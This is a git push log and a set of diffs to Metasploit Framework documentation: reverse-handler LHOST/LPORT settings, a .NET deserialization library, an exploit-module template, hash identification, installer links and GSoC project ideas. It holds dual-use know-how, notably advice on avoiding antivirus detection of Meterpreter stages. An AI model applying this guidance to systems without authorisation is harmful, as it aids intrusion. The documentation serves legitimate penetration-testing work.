remote:
|
||||
remote:
|
||||
To github.com:gwillcox-r7/metasploit-framework
|
||||
* [new branch] update_mssql_lib_parameters -> update_mssql_lib_parameters
|
||||
```
|
||||
|
||||
@@ -46,13 +46,13 @@ Any user of Metasploit will tell you that they know what `LHOST` and `LPORT` mea
|
||||
|
||||
A **handler** obviously needs to listen on a host/IP for the incoming connection. In cases where the `LHOST` value, for example the address that the target is able to reach, is the same as that which the host can listen on, no extra work has to be done. The `LHOST` value is used by the handler.
|
||||
|
||||
However, if some kind of NAT or port forward is enabled, or if the handler is behind a firewall, then setting `LHOST` isn't enough. In order to listen on the appropriate interface, another setting must be used called `ReverseListenerBindHost`. This value tells the **handler** to listen on a different interface/IP, but it doesn't change the fact that the `LHOST` value is given to the target when the **stage** is uploaded.
|
||||
However, if some kind of NAT or port forward is enabled, or if the handler is behind a firewall, then setting `LHOST` isn't enough. In order to listen on the appropriate interface, another setting must be used called `ReverseListenerBindAddress`. This value tells the **handler** to listen on a different interface/IP, but it doesn't change the fact that the `LHOST` value is given to the target when the **stage** is uploaded.
|
||||
|
||||
In short, `LHOST` must always remain the IP/host that is routable from the target, and if this value is not the same as what the listener needs to bind to, then change the `ReverseListenerBindHost` value. If you're attacking something across the Internet and you specify an internal IP in `LHOST`, you're doing it wrong.
|
||||
In short, `LHOST` must always remain the IP/host that is routable from the target, and if this value is not the same as what the listener needs to bind to, then change the `ReverseListenerBindAddress` value. If you're attacking something across the Internet and you specify an internal IP in `LHOST`, you're doing it wrong.
|
||||
|
||||
## LPORT
|
||||
|
||||
The principles of `LHOST` and `ReverseListenerBindHost` can be applied to `LPORT` and `ReverseListenerBindPort` as well. If you have port forwarding in place, and your listener needs to bind to a different port, then you need to make use of the `ReverseListenerBindPort` setting.
|
||||
The principles of `LHOST` and `ReverseListenerBindAddress` can be applied to `LPORT` and `ReverseListenerBindPort` as well. If you have port forwarding in place, and your listener needs to bind to a different port, then you need to make use of the `ReverseListenerBindPort` setting.
|
||||
|
||||
The classic example of this case is where an attacker wants to make use of port `443`, but rightfully doesn't want to run Metasploit as `root` just so they can directly bind to ports lower than `1024`. Instead, the set up a port forward (on their router, or using `iptables`) so that `443` forwards to `8443`, with a goal of accepting connections on that port instead.
|
||||
|
||||
@@ -75,4 +75,4 @@ There are a few things to check for when debugging a dead shell.
|
||||
|
||||
### Not so quick things to check
|
||||
|
||||
* If the target is running AntiVirus there's a chance that the **stage** , for example `metsrv`, is being caught while being uploaded. `reverse_tcp` and `reverse_http` **stagers** download `metsrv` _without_ any encryption, and so the content of the DLL is visible to anything watching on the wire. `reverse_https` can still get caught in cases where AV is doing MITM content inspection. In this case, consider encoding your payloads, or if possible using stageless Meterpreter instead.
|
||||
* If the target is running AntiVirus there's a chance that the **stage** , for example `metsrv`, is being caught while being uploaded. `reverse_tcp` and `reverse_http` **stagers** download `metsrv` _without_ any encryption, and so the content of the DLL is visible to anything watching on the wire. `reverse_https` can still get caught in cases where AV is doing MITM content inspection. In this case, consider encoding your payloads, or if possible using stageless Meterpreter instead.
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
Metasploit includes a library for leveraging .NET deserialization attacks. Using
|
||||
it within a module is very straight forward, the module author just needs to
|
||||
know two things: the gadget chain and the formatter. The library uses the same
|
||||
names for each of these values as the [YSoSerial.NET][1] project for
|
||||
names for each of these values as the [YSoSerial.NET][ysoserial] project for
|
||||
compatibility, although the Metasploit library only supports a subset of the
|
||||
functionality.
|
||||
|
||||
@@ -12,7 +12,7 @@ compatibility of each.
|
||||
|
||||
| Gadget Chain Name | BinaryFormatter | LosFormatter | SoapFormatter |
|
||||
| --------------------------- | --------------- | ------------ | ------------- |
|
||||
| ClaimsPrincipal | Yes | Yes | Yes |
|
||||
| ClaimsPrincipal | Yes | Yes | Yes |
|
||||
| TextFormattingRunProperties | Yes | Yes | Yes |
|
||||
| TypeConfuseDelegate | Yes | Yes | No |
|
||||
| WindowsIdentity | Yes | Yes | Yes |
|
||||
@@ -69,7 +69,7 @@ serialized = ::Msf::Util::DotNetDeserialization.generate(
|
||||
The library also has an interface available as a standalone command line tool
|
||||
which is suitable for creating payloads for single-use research purposes. This
|
||||
tool `dot_net.rb` is available in the `tools/payloads/ysoserial` directory. The
|
||||
arguments for this tool are aligned with those of [YSoSerial.NET][1], allowing
|
||||
arguments for this tool are aligned with those of [YSoSerial.NET][ysoserial], allowing
|
||||
the arguments of basic invocations to be the same. It should be noted however
|
||||
that the [supported](#support-matrix) gadgets and formatters are not the same.
|
||||
|
||||
@@ -109,13 +109,13 @@ generate functions while the `-f` / `--formatter` arguments maps to the
|
||||
## Making Changes
|
||||
|
||||
Adding new gadget chains and formatters involves creating a new file in the
|
||||
respective library directory: [`lib/msf/util/dot_net_deserialization`][2]. The
|
||||
"native" gadget chain type is implemented following the [MS-NRBF][3] format and
|
||||
the [Bindata][4] records as defined in [`types/`][5] subdirectory. Once the new
|
||||
respective library directory: [`lib/msf/util/dot_net_deserialization`][dot-net-deserialization-root]. The
|
||||
"native" gadget chain type is implemented following the [MS-NRBF] format and
|
||||
the [Bindata][] records as defined in [`types/`][dot-net-deserialization-types] subdirectory. Once the new
|
||||
gadget chain or formatter is implemented, it needs to be added to the main
|
||||
library file ([`dot_net_deserialization.rb`][6]).
|
||||
library file ([`dot_net_deserialization.rb`][dot-net-deserialization-rb]).
|
||||
|
||||
Since serialization chain generate is deterministic, a [unit test][7] should be
|
||||
Since serialization chain generate is deterministic, a [unit test][unit-test] should be
|
||||
added for any new gadget chain to ensure that the checksum of the
|
||||
BinaryFormatter representation is consistent.
|
||||
|
||||
@@ -124,15 +124,13 @@ Since the .NET deserialization gadgets run operating system commands, the
|
||||
following resources can be helpful for module developers to deliver native
|
||||
payloads such as Meterpreter.
|
||||
|
||||
* [How to use command stagers][8]
|
||||
* [How to use Powershell in an exploit][9]
|
||||
* [[How to use command stagers|./how-to-use-command-stagers.md]]
|
||||
* [[How to use Powershell in an exploit|./how-to-use-powershell-in-an-exploit.md]]
|
||||
|
||||
[1]: https://github.com/pwntester/ysoserial.net
|
||||
[2]: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/dot_net_deserialization
|
||||
[3]: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/75b9fe09-be15-475f-85b8-ae7b7558cfe5
|
||||
[4]: https://github.com/dmendel/bindata
|
||||
[5]: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/dot_net_deserialization/types
|
||||
[6]: https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/util/dot_net_deserialization.rb
|
||||
[7]: https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/msf/util/dot_net_deserialization_spec.rb
|
||||
[8]: https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers
|
||||
[9]: https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Powershell-in-an-exploit
|
||||
[ysoserial]: https://github.com/pwntester/ysoserial.net
|
||||
[dot-net-deserialization-root]: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/dot_net_deserialization
|
||||
[MS-NRBF]: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/75b9fe09-be15-475f-85b8-ae7b7558cfe5
|
||||
[Bindata]: https://github.com/dmendel/bindata
|
||||
[dot-net-deserialization-types]: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/dot_net_deserialization/types
|
||||
[dot-net-deserialization-rb]: https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/util/dot_net_deserialization.rb
|
||||
[unit-test]: https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/msf/util/dot_net_deserialization_spec.rb
|
||||
|
||||
@@ -12,8 +12,10 @@ The pgp signatures below can be verified with the following [public key](https:/
|
||||
|
||||
|Download Link|File Type|SHA1|PGP|
|
||||
|-|-|-|-|
|
||||
| [metasploit-4.21.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.21.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.22.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.22.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.21.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.21.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.21.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.20.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.asc)|
|
||||
|
||||
@@ -24,7 +24,7 @@ Difficulty: 4/5
|
||||
|
||||
### LDAP Capture Capabilities
|
||||
|
||||
Metasploit's LDAP service mixin provides a service to enable interaction over the LDAP protocol. The current implementation is the bare minimum to enable support for attacking the [2021 Log4Shell vulnerability](). Enhancement/Extension of the mixin to enable various additional LDAP features would enable extended usage of this service for additional tasks. Support for various protocol level authentication methods would allow Metasploit to intercept and log authentication information. Specific items of interest are [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) and [StartTLS](https://ldapwiki.com/wiki/StartTLS) support to enable compatibility with the widest variety of clients and a new capture module that log authentication information from clients.
|
||||
Metasploit's LDAP service mixin provides a service to enable interaction over the LDAP protocol. The current implementation is the bare minimum to enable support for attacking the [2021 Log4Shell vulnerability](https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell?referrer=msf_docs). Enhancement/Extension of the mixin to enable various additional LDAP features would enable extended usage of this service for additional tasks. Support for various protocol level authentication methods would allow Metasploit to intercept and log authentication information. Specific items of interest are [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) and [StartTLS](https://ldapwiki.com/wiki/StartTLS) support to enable compatibility with the widest variety of clients and a new capture module that log authentication information from clients.
|
||||
|
||||
Size: Medium
|
||||
Difficulty: 3/5
|
||||
@@ -58,7 +58,7 @@ Difficulty: 4/5
|
||||
|
||||
Enhance existing Metasploit Goliath dashboard that allows observation of an active engagement. Data visualization would include, but not be limited to: host node graph with activity indicators and heat maps. The main idea here is to create a visualization tool that helps users understand data that has been gathered into Metasploit during usage in some useful way. Proposals should note where the service will live, how a user will use the service, and how you will provide a maintainable and extendable consumer for the data that is exposed.
|
||||
|
||||
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [Metasploit-Data-Service-Enhancements-(Goliath)](./Metasploit-Data-Service-Enhancements-Goliath)
|
||||
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [[Metasploit-Data-Service-Enhancements-(Goliath)|./Metasploit-Data-Service-Enhancements-Goliath]
|
||||
|
||||
Size: Medium/Large (Depends on proposal)
|
||||
Difficulty 3/5
|
||||
|
||||
@@ -0,0 +1,54 @@
|
||||
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
|
||||
|
||||
Mentors: @jmartin-r7, @gwillcox-r7
|
||||
|
||||
Slack Contacts: @Op3n4M3, @gwillcox-r7 on [Metasploit Slack](https://metasploit.slack.com/)
|
||||
|
||||
For any questions about these projects reach out on the Metasploit Slack in the `#gsoc` channel or DM one of the mentors using the Slack contacts listed above. Note that mentors may be busy so please don't expect an immediate response, however we will endeavor to respond as soon as possible. If you'd prefer not to join Slack, you can also email `msfdev [@] metasploit [dot] com` and we will respond to your questions there if email is preferable.
|
||||
|
||||
## Enhance Metasploit Framework
|
||||
|
||||
### Rest API Pagination
|
||||
|
||||
Metasploit provides two API interaction services, a Rest API service and an RPC service. Previous efforts have wrapped and exposed the RPC service as JSON responses available from the Rest API endpoint. This wrapping did not account for possible large responses that may benefit from pagination. A previous contributor attempted to add this functionality for a [limited set of RCP commands](https://github.com/rapid7/metasploit-framework/pull/13439) however review identified that the changes would introduce changes to the documented public API and also introduce inconsistency within the API responses resulting in a fluctuating public API. Modern pagination would be beneficial to increasing user adoption of Rest API services provided it can be implemented consistently and either maintain compatibility of the existing public RPC service or generate a one time migration across all exposed public APIs.
|
||||
|
||||
Size: Large
|
||||
Difficulty: 4/5
|
||||
|
||||
### LDAP Capture Capabilities
|
||||
|
||||
Metasploit's LDAP service mixin provides a service to enable interaction over the LDAP protocol. The current implementation is the bare minimum to enable support for attacking the [2021 Log4Shell vulnerability](https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell?referrer=msf_docs). Enhancement/Extension of the mixin to enable various additional LDAP features would enable extended usage of this service for additional tasks. Support for various protocol level authentication methods would allow Metasploit to intercept and log authentication information. Specific items of interest are [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) and [StartTLS](https://ldapwiki.com/wiki/StartTLS) support to enable compatibility with the widest variety of clients and a new capture module that log authentication information from clients.
|
||||
|
||||
Size: Medium
|
||||
Difficulty: 3/5
|
||||
|
||||
### Improving post-exploit API to be more consistent, work smoothly across session types
|
||||
|
||||
The Metasploit post-exploitation API is intended to provide a unified interface between different Meterpreter, shell, PowerShell, mainframe, and other session types. However, there are areas where the implementation is not consistent, and could use improvements:
|
||||
|
||||
* Shell sessions do not implement the filesystem API that Meterpreter sessions have
|
||||
* When a shell session is in a different language, e.g. Windows in French, the post API does not find the expected output. Add localization support for these.
|
||||
* Simple commands like 'cmd_exec' are fast in Shell sessions but are relatively slow in Meterpreter sessions. Add an API to make Meterpreter run simple commands more easily.
|
||||
|
||||
Size: Medium/Large (Depends on proposal)
|
||||
Difficulty: Varies
|
||||
|
||||
### Improve the web vulnerability API
|
||||
|
||||
This would follow up on the Arachni plugin PR <https://github.com/rapid7/metasploit-framework/pull/8618> and improve the Metasploit data model to better represent modern web vulnerabilities. This project would require knowledge of data models, types of modern web vulnerabilities, and experience with web app security scanners.
|
||||
|
||||
Size: Large
|
||||
Difficulty: 4/5
|
||||
|
||||
### Data Visualization
|
||||
|
||||
Enhance existing Metasploit Goliath dashboard that allows observation of an active engagement. Data visualization would include, but not be limited to: host node graph with activity indicators and heat maps. The main idea here is to create a visualization tool that helps users understand data that has been gathered into Metasploit during usage in some useful way. Proposals should note where the service will live, how a user will use the service, and how you will provide a maintainable and extendable consumer for the data that is exposed.
|
||||
|
||||
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [[Metasploit-Data-Service-Enhancements-(Goliath)|./Metasploit-Data-Service-Enhancements-Goliath]]
|
||||
|
||||
Size: Medium/Large (Depends on proposal)
|
||||
Difficulty 3/5
|
||||
|
||||
## Submit your own
|
||||
|
||||
If you want to suggest your own idea, please discuss it with us first on [Slack](https://metasploit.com/slack) in the `#gsoc` channel to make sure it is a reasonable amount of work for a summer and that it fits the goals of the project.
|
||||
@@ -27,9 +27,9 @@ The Metasploit Framework has seven different rankings to indicate how reliable a
|
||||
|
||||
## Template
|
||||
|
||||
If you have read this far, we think you are pretty impressive because it's a lot to digest. You are probably wondering why we haven't had a single line of code to share in the writeup. Well, as you recall, exploit development is mostly about your reversing skills. If you have all that, we shouldn't be telling you how to write an exploit. What we've done so far is hopefully get your mindset dialed-in correctly about what it means to become a Metasploit exploit developer for the security community; the rest is more about how to use our mixins to build that exploit. Well, there are A LOT of mixins, so it's impossible to go over all of them in a single page, so you must either read the [API documentation](https://rapid7.github.io/metasploit-framework/api/), existing [code examples](https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits), or look for more wiki pages we've written to cover specific mixins.
|
||||
If you have read this far, we think you are pretty impressive because it's a lot to digest. You are probably wondering why we haven't had a single line of code to share in the writeup. Well, as you recall, exploit development is mostly about your reversing skills. If you have all that, we shouldn't be telling you how to write an exploit. What we've done so far is hopefully get your mindset dialed-in correctly about what it means to become a Metasploit exploit developer for the security community; the rest is more about how to use our mixins to build that exploit. Well, there are A LOT of mixins, so it's impossible to go over all of them in a single page, so you must either read the [API documentation](https://docs.metasploit.com/api/), existing [code examples](https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits), or look for more wiki pages we've written to cover specific mixins.
|
||||
|
||||
For example, if you're looking for a writeup about how to interact with an HTTP server, you might be interested in: [How to send an HTTP Request Using HTTPClient](https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient). If you're interested in browser exploit writing, definitely check out: [How to write a browser exploit using BrowserExploitServer](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer), etc.
|
||||
For example, if you're looking for a writeup about how to interact with an HTTP server, you might be interested in: [[How to send an HTTP Request Using HTTPClient|./How-to-write-a-browser-exploit-using-HttpServer.md]]. If you're interested in browser exploit writing, definitely check out: [[How to write a browser exploit using BrowserExploitServer|./How-to-write-a-browser-exploit-using-BrowserExploitServer.md]], etc.
|
||||
|
||||
But of course, to begin, you most likely need a template to work with, and here it is. We'll also explain how to fill out the required fields:
|
||||
|
||||
@@ -39,39 +39,39 @@ But of course, to begin, you most likely need a template to work with, and here
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "[Vendor] [Software] [Root Cause] [Vulnerability type]",
|
||||
'Description' => %q{
|
||||
Say something that the user might need to know
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Name' ],
|
||||
'References' =>
|
||||
[
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => '[Vendor] [Software] [Root Cause] [Vulnerability type]',
|
||||
'Description' => %q{
|
||||
Say something that the user might need to know
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Name' ],
|
||||
'References' => [
|
||||
[ 'URL', '' ]
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'System or software version',
|
||||
'Platform' => 'win',
|
||||
'Targets' => [
|
||||
[
|
||||
'System or software version',
|
||||
{
|
||||
'Ret' => 0x41414141 # This will be available in `target.ret`
|
||||
}
|
||||
]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Payload' => {
|
||||
'BadChars' => "\x00"
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "",
|
||||
'DefaultTarget' => 0))
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '',
|
||||
'DefaultTarget' => 0
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
|
||||
@@ -289,7 +289,7 @@ end
|
||||
|
||||
msfconsole output:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf6 exploit(windows/smb/msf_smb_client_test) > options
|
||||
|
||||
Module options (exploit/windows/smb/msf_smb_client_test):
|
||||
@@ -406,7 +406,7 @@ end
|
||||
|
||||
msfconsole output:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf6 exploit(windows/smb/ruby_smb_client_test) > options
|
||||
|
||||
Module options (exploit/windows/smb/ruby_smb_client_test):
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Intro
|
||||
|
||||
This article will discuss the various libraries, dependencies, and functionality built in to metasploit for dealing with password hashes, and cracking them. In general, this will not cover storing credentials in the database, which can be read about [here](https://github.com/rapid7/metasploit-framework/wiki/Creating-Metasploit-Framework-LoginScanners#the-scan-block). Metasploit currently support cracking passwords with [John the Ripper](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/analyze) and [hashcat](https://github.com/rapid7/metasploit-framework/pull/11695).
|
||||
This article will discuss the various libraries, dependencies, and functionality built in to metasploit for dealing with password hashes, and cracking them. In general, this will not cover storing credentials in the database, which can be read about [[here|./Creating-Metasploit-Framework-LoginScanners.md]]. Metasploit currently support cracking passwords with [John the Ripper](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/analyze) and [hashcat](https://github.com/rapid7/metasploit-framework/pull/11695).
|
||||
|
||||
# Hashes
|
||||
|
||||
@@ -9,7 +9,7 @@ Many modules dump hashes from various software. Anything from the OS: [Windows]
|
||||
## Hash Identify Example
|
||||
|
||||
In this first, simple, example we will simply show loading the library and calling its function.
|
||||
```
|
||||
```ruby
|
||||
require 'metasploit/framework/hashes/identify'
|
||||
puts identify_hash "$1$28772684$iEwNOgGugqO9.bIz5sk8k/"
|
||||
# note, bad hashes return an empty string since nil is not accepted when creating credentials in msf.
|
||||
@@ -17,7 +17,7 @@ puts identify_hash "This_is a Fake Hash"
|
||||
puts identify_hash "_9G..8147mpcfKT8g0U."
|
||||
```
|
||||
In practice, we receive the following output from this:
|
||||
```
|
||||
```ruby
|
||||
msf5 > irb
|
||||
[*] Starting IRB shell...
|
||||
[*] You are in the "framework" object
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
Welcome to Metasploit-land. Are you a Metasploit user who wants to get started or get better at hacking stuff (that you have permission to hack)? The quickest way to get started is to [download the Metasploit nightly installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers). This will give you access to both the free, open-source Metasploit Framework and a free trial of Metasploit Pro.
|
||||
Welcome to Metasploit-land. Are you a Metasploit user who wants to get started or get better at hacking stuff (that you have permission to hack)? The quickest way to get started is to [[download the Metasploit nightly installers|./Nightly-Installers.md]]. This will give you access to both the free, open-source Metasploit Framework and a free trial of Metasploit Pro.
|
||||
|
||||
If you're using [Kali Linux](https://kali.org/), Metasploit is already pre-installed. See the [Kali documentation](https://kali.org/docs/tools/starting-metasploit-framework-in-kali/) for how to get started using Metasploit in Kali Linux.
|
||||
|
||||
Are you anxious to get your [Metasploit Development Environment](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment) set up so you can start [[Landing Pull Requests]] and contributing excellent exploit code? If so, you're in the right place. If you're an exploit developer, you will want to review our [[Guidelines for Accepting Modules and Enhancements]] to find out what we expect when we see pull requests for new Metasploit modules. No idea what you should start working on? Check out the guidelines for [[contributing to Metasploit]], and dive into [[Setting Up a Metasploit Development Environment]].
|
||||
Are you anxious to get your [[Metasploit Development Environment|./dev/Setting-Up-a-Metasploit-Development-Environment.md]] set up so you can start [[Landing Pull Requests]] and contributing excellent exploit code? If so, you're in the right place. If you're an exploit developer, you will want to review our [[Guidelines for Accepting Modules and Enhancements]] to find out what we expect when we see pull requests for new Metasploit modules. No idea what you should start working on? Check out the guidelines for [[contributing to Metasploit]], and dive into [[Setting Up a Metasploit Development Environment]].
|
||||
|
||||
# Getting Started #
|
||||
|
||||
|
||||
@@ -7,7 +7,7 @@ An updated list of the application timeline can be found at https://developers.g
|
||||
|
||||
## Important Dates
|
||||
|
||||
- GSoC Applications Open: April 4th at 1800 UTC
|
||||
- GSoC Applications Open: April 4th at 1800 UTC
|
||||
- GSoC Applications Close: April 19th at 1800 UTC for 2022 GSoC applications. **No late submissions will be accepted, period.**
|
||||
- Accepted applications announced: May 20th at 1800 UTC
|
||||
- Programming Starts: June 13th.
|
||||
@@ -19,14 +19,14 @@ An updated list of the application timeline can be found at https://developers.g
|
||||
You can find the current list of GSoC ideas at [[GSoC-2022-Project-Ideas]]. Please see the note at the bottom of this page if you are interested in submitting your own idea, as this will require approval.
|
||||
|
||||
# Getting started
|
||||
Students interesting in GSoC, can start by reading Google's official guides.
|
||||
Students interesting in GSoC, can start by reading Google's official guides.
|
||||
<https://developers.google.com/open-source/gsoc/help/student-advice>
|
||||
|
||||
Review all of the [student guide](https://google.github.io/gsocguides/student/) and carefully read the [proposal writing section](https://google.github.io/gsocguides/student/writing-a-proposal.html).
|
||||
|
||||
A listed `idea` is a seed for GSoC students to expand on and propose how to design and implement a solution. You can start by investigating the code base and how existing users interaction with `msfconsole` functionality. Think through scenarios on how a user might want to interact with the proposed idea.
|
||||
|
||||
A place to get started with contributing to Metasploit is [here](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md) and expanded on [here](https://github.com/rapid7/metasploit-framework/wiki/Contributing-to-Metasploit#framework-bugs-and-features).
|
||||
A place to get started with contributing to Metasploit is [here](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md) and expanded on [[here|./Contributing-to-Metasploit.md]].
|
||||
|
||||
GSoC mentors tend to look for those items that have a chance of making development and usage easier or improving the overall performance of a certain area, however by starting with understanding the most common contribution pattern you can get familiar with the codebase and also the mindset of users. This will help you in creating a proposal with the end user in mind.
|
||||
|
||||
@@ -50,14 +50,14 @@ A brief description of what you would like to work on. See [[GSoC-2022-Project-I
|
||||
|
||||
## Skillz
|
||||
|
||||
What programming languages are you familiar with, in order of proficiency? Most of Metasploit is written in Ruby; for any project you will most likely need at least a passing knowledge of it. If you want to work on Meterpreter or Mettle, C will be necessary as well.
|
||||
What programming languages are you familiar with, in order of proficiency? Most of Metasploit is written in Ruby; for any project you will most likely need at least a passing knowledge of it. If you want to work on Meterpreter or Mettle, C will be necessary as well.
|
||||
|
||||
What other projects have you worked on before?
|
||||
|
||||
|
||||
## Your project
|
||||
|
||||
Fill in the details. What exactly do you want to accomplish?
|
||||
Fill in the details. What exactly do you want to accomplish?
|
||||
|
||||
# Past Submissions
|
||||
If you are interested in looking at past accepted submissions and projects, you can find them at https://summerofcode.withgoogle.com/archive, and clicking on any year from 2017 onwards (with the exception of 2019 as Metasploit did not participate this year). Then click on the `Security` tag, and search for `Metasploit`. Scroll down to the bottom and you will see past successful applications and the associated code for each successful submission. Submissions from 2020 onwards also include copies of the proposal that was sent in by the accepted contributor.
|
||||
|
||||
@@ -1,16 +1,16 @@
|
||||
The [HttpClient mixin](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpClient) can be included with an exploit module in order to facilitate easier HTTP communications with a target machine.
|
||||
The [HttpClient mixin](https://docs.metasploit.com/api/Msf/Exploit/Remote/HttpClient) can be included with an exploit module in order to facilitate easier HTTP communications with a target machine.
|
||||
|
||||
## There are mainly two common methods you will see:
|
||||
|
||||
* **[send\_request\_raw](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpClient.html#send_request_raw-instance_method)** - You use this to send a raw HTTP request. Usually, you will want this method if you need something that violates the specification; in most other cases, you should prefer `send_request_cgi`. If you wish to learn about how this method works, look at the documentation for [`Rex::Proto::Http::Client#request_raw`](https://rapid7.github.io/metasploit-framework/api/Rex/Proto/Http/Client.html#request_raw-instance_method).
|
||||
|
||||
